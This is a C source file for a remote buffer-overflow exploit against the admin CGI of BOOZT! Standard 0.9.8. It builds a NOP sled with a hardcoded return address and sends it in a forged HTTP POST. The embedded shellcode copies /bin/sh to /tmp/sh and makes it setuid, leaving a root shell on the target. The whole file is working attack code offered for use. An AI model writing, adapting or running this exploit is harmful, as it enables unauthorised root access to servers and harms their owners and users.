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- /* -----------------------------------------
-
- BOOZT! Standard 0.9.8 CGI vulnerability exploit
-
- Rafael San Miguel Carrasco
-
- rsanmcar@alum.uax.es
-
- ----------------------------------------- */
-
-
- #include <netinet/in.h>
- #define PORT 8080
- #define BUFLEN 1597
- #define RET 0xbffff297
- #define NOP 0x90
-
- int main (int argc, char **argv) {
-
- int sockfd, i, cont;
- struct sockaddr_in dest;
- int html_len = 15;
- char cgicontent[2048];
- char buf[BUFLEN];
-
- char shellcode[]=
-
- "\x29\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x02\xeb\x05\x29\xc0\x40\xcd\x80\x29\xc0\x29\xdb\x29\xc9"
-
- "\xb0\x46\xcd\x80\xeb\x2a\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36\x8d\x5e\x0b\x89\x5e\x3a\x29"
-
- "\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x31\x89\x46\x3e\x87\xf3\xb0\x0b\x8d\x4b\x32\x8d\x53\x3e"
-
- "\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20\x63\x70\x20\x2f\x62\x69\x6e"
-
- "\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20"
- "\x2f\x74\x6d\x70\x2f\x73\x68";
-
- char *html[15] = {
- "POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
- "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
- */*\n",
- "Referer:
- http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
- "Accept-Language: es, en\n",
- "Content-Type: application/x-www-form-urlencoded\n",
- "UA-pixels: 640x480\n",
- "UA-color: color8\n",
- "UA-OS: Windows 95\n",
- "UA-CPU: x86\n",
- "User-Agent: Mozilla/2.0 (compatible; MSIE 3.0; Windows 95)\n",
- "Host: 10.0.0.1:8080\n",
- "Connection: Keep-Alive\n",
- "Content-Length: 1776\n",
- "Pragma: No-Cache\n",
- "\n",
- };
-
- if (argc < 2) {
- printf ("usage: %s <IP>\n", argv[0]);
- exit (-1);
- }
-
- printf ("----------\n");
- printf (" BOOZT! Standard exploit\n");
- printf ("----------\n");
- printf ("Rafael San Miguel Carrasco (_kiss_)\n");
- printf ("rsanmcar@alum.uax.es\n");
- printf ("----------\n");
-
- for (i = 0; i < BUFLEN; i+=4)
- *( (long *) &buf[i]) = RET;
-
- for (i = 0; i < (BUFLEN - 16); i++)
- buf[i] = NOP;
-
-
- cont = 0;
-
- for (i = (BUFLEN - strlen (shellcode) - 16); i < (BUFLEN - 16); i++)
- buf[i] = shellcode [cont++];
-
- strcpy (cgicontent, "name=");
- strncat (cgicontent, buf, sizeof (buf));
- strcat (cgicontent,
- "&target=&alt_text=&id_size=1&type=image&source=&source_path=Browse...&source_flash=&source_flash_path=Browse...&script_name=&input=
- 1§ion=5&sent=1&submit=Create+New+Banner");
-
- printf ("connecting ...\n");
-
- if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
- perror ("socket");
- exit (-1);
- }
-
- bzero (&dest, sizeof (dest));
- dest.sin_family = AF_INET;
- dest.sin_port = htons (PORT);
- dest.sin_addr.s_addr = inet_addr (argv[1]);
-
- if (connect (sockfd, &dest, sizeof (dest)) < 0) {
- perror ("connect");
- exit (-1);
- }
-
- printf ("connected. sending buffer ...\n");
-
- for (i = 0; i < html_len; i++) {
-
- if (write (sockfd, html[i], strlen(html[i])) < strlen(html[i]))
- {
- perror ("write");
- exit (-1);
- }
- }
-
- if (write (sockfd, cgicontent, strlen(cgicontent)) < strlen(cgicontent))
- {
- perror ("write cgicontent");
- exit (-1);
- }
-
- if (close (sockfd) < 0) {
- perror ("close");
- exit (-1);
- }
-
- printf ("there should be a rootshell in /tmp.\n\n");
-
- return 0;
- }